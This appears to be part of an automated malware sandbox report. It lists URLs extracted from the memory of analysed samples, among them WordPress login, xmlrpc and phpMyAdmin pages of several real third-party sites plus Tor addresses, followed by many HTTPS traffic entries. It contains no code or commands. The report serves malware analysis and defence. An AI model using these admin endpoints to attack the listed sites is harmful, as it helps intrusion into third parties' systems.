Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/wp-content/uploads/2019/07/cropped-Harlingen-HQ-rot-32x32.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/wp-content/uploads/2021/11/THS-Logo-2021_single600-neg-Thumb.png
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/wp-content/uploads/2021/12/Made-In-USA-round.png
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/wp-json/
Source: 5316.exe, 00000007.00000002.2896435412.0000000003ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/wp-login.php
Source: 5316.exe, 00000007.00000002.2896435412.0000000003ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/wp-login.php#
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/xmlrpc.php?rsd
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://use.typekit.net/vje1odz.js
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1699998301.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woocommerce.com
Source: explorer.exe, 00000001.00000000.1699998301.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wp-statistics.com/
Source: 5828.exe, 00000008.00000002.2040972155.0000000000697000.00000004.00000020.00020000.00000000.sdmp, 5828.exe, 00000008.00000002.2040972155.000000000069D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 7017.exe, 0000000C.00000003.2056059422.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057378156.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826FB000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062578146.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057179953.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826F7000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058035991.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057858326.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057569040.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2060162001.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057724321.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2059356242.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: 7B24.exe, 0000000D.00000002.2396335073.00000000051B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.geoffreynolds.com.au/phpmyadmin/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.geoffreynolds.com.au/phpmyadmin/henry.com21m
Source: 7B24.exe, 0000000D.00000002.2396335073.00000000051B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-39241157-1
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/about-green-lawn-fertilizing
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/careers
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/charity
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/commercial-services
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/faq
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/lawn-care
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/services
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/services/aeration-seeding
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/services/flea-tick-program
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/services/fungicide-program
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/services/green-lawn-natural-program
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/services/green-pest-solutions
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/services/grub-control
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/services/lawn-care-programs
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/services/lime-application
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/services/mosquito-control
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/services/spotted-lanternfly-program
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/services/tree-shrub-program
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/special-offers
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/testimonials
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.greenlawnfertilizing.com/why-green-lawn
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/artusopastry/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/mgbymags/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/two_hills_studio/
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000001.00000000.1696442316.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1696442316.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: 7017.exe, 0000000C.00000003.2059356242.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rehau.com/mk-mk
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.shopify.com?utm_campaign=poweredby&utm_medium=shopify&utm_source=onlinestore
Source: 5316.exe, 00000007.00000002.2896435412.0000000003ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tgcan.co.uk/wp-login.php
Source: 5316.exe, 00000007.00000002.2896435412.0000000003ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tgcan.co.uk/wp-login.phpx
Source: 5316.exe, 00000007.00000002.2873592935.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4115690481.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/
Source: csrss.exe, 0000000F.00000002.4115690481.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/documentation.html
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/channel/UCwNe_99_Q1A6c7fi0Qj2smg

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 61866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52914
Source: unknown	Network traffic detected: HTTP traffic on port 63165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61866
Source: unknown	Network traffic detected: HTTP traffic on port 51583 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61626
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58462
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 55211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56294
Source: unknown	Network traffic detected: HTTP traffic on port 59620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51601
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51602
Source: unknown	Network traffic detected: HTTP traffic on port 53900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51600
Source: unknown	Network traffic detected: HTTP traffic on port 65049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56063
Source: unknown	Network traffic detected: HTTP traffic on port 58387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59579
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57163
Source: unknown	Network traffic detected: HTTP traffic on port 53316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64929
Source: unknown	Network traffic detected: HTTP traffic on port 52152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57161
Source: unknown	Network traffic detected: HTTP traffic on port 54437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49540
Source: unknown	Network traffic detected: HTTP traffic on port 53707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58656
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58413
Source: unknown	Network traffic detected: HTTP traffic on port 59370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56003
Source: unknown	Network traffic detected: HTTP traffic on port 62425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49539
Source: unknown	Network traffic detected: HTTP traffic on port 54071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59523
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60747
Source: unknown	Network traffic detected: HTTP traffic on port 60256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49525
Source: unknown	Network traffic detected: HTTP traffic on port 51595 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50714
Source: unknown	Network traffic detected: HTTP traffic on port 51329 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57361 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59530
Source: unknown	Network traffic detected: HTTP traffic on port 55305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 64833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 60268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56277
Source: unknown	Network traffic detected: HTTP traffic on port 59530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57361
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58452
Source: unknown	Network traffic detected: HTTP traffic on port 53306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49348
Source: unknown	Network traffic detected: HTTP traffic on port 55804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56614 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51660
Source: unknown	Network traffic detected: HTTP traffic on port 64442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63649
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50580
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49339
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62314
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 56546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 61416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52522
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63657
Source: unknown	Network traffic detected: HTTP traffic on port 60835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63650
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59160
Source: unknown	Network traffic detected: HTTP traffic on port 64825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61478
Source: unknown	Network traffic detected: HTTP traffic on port 55581 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55804
Source: unknown	Network traffic detected: HTTP traffic on port 52160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64757
Source: unknown	Network traffic detected: HTTP traffic on port 63192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61241
Source: unknown	Network traffic detected: HTTP traffic on port 59273 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49314
Source: unknown	Network traffic detected: HTTP traffic on port 54686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53870
Source: unknown	Network traffic detected: HTTP traffic on port 53791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63678
Source: unknown	Network traffic detected: HTTP traffic on port 54022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53802
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62517
Source: unknown	Network traffic detected: HTTP traffic on port 64801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58260
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61423
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54905
Source: unknown	Network traffic detected: HTTP traffic on port 60954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49374
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59359
Source: unknown	Network traffic detected: HTTP traffic on port 64077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61679
Source: unknown	Network traffic detected: HTTP traffic on port 53805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61432
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52736
Source: unknown	Network traffic detected: HTTP traffic on port 64043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51649
Source: unknown	Network traffic detected: HTTP traffic on port 62022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55287 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51641
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51400
Source: unknown	Network traffic detected: HTTP traffic on port 64929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59370
Source: unknown	Network traffic detected: HTTP traffic on port 56485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52987
Source: unknown	Network traffic detected: HTTP traffic on port 53756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51654
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51655
Source: unknown	Network traffic detected: HTTP traffic on port 51581 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63130
Source: unknown	Network traffic detected: HTTP traffic on port 60821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52473
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54410
Source: unknown	Network traffic detected: HTTP traffic on port 62086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53324
Source: unknown	Network traffic detected: HTTP traffic on port 63251 -> 443
